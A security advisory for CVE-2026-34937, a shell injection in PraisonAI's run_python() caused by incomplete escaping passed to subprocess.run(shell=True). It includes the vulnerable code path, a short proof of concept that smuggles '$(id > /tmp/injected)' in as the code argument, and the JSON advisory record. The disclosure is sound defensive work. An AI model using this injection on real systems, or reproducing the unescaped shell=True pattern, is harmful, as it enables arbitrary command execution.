GHSA-W37C-QQFP-C67F

Vulnerability from github – Published: 2026-04-01 23:18 – Updated: 2026-04-06 22:54
VLAI?
Summary
PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution
Details

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Severity ?
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:18:17Z",
    "nvd_published_at": "2026-04-03T23:17:06Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c \"\u003ccode\u003e\"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\\` and `\"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.\n\n### Details\n\n`execute_command.py:290` (source) -\u003e `execute_command.py:297` (hop) -\u003e `execute_command.py:310` (sink)\n```python\n# source -- user-controlled code argument\ndef run_python(code: str, cwd=None, timeout=60):\n\n# hop -- incomplete escaping, $ and () not handled\n    escaped_code = code.replace(\u0027\\\\\u0027, \u0027\\\\\\\\\u0027).replace(\u0027\"\u0027, \u0027\\\\\"\u0027)\n    command = f\u0027{python_cmd} -c \"{escaped_code}\"\u0027\n\n# sink -- shell=True expands $() before python3 runs\n    return execute_command(command=command, cwd=cwd, timeout=timeout)\n    # execute_command calls subprocess.run(command, shell=True, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.code.tools.execute_command import run_python\n\nresult = run_python(code=\u0027$(id \u003e /tmp/injected)\u0027)\nprint(result)\n\n# verify\nimport subprocess\nprint(subprocess.run([\u0027cat\u0027, \u0027/tmp/injected\u0027], capture_output=True, text=True).stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.",
  "id": "GHSA-w37c-qqfp-c67f",
  "modified": "2026-04-06T22:54:08Z",
  "published": "2026-04-01T23:18:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-w37c-qqfp-c67f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34937"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.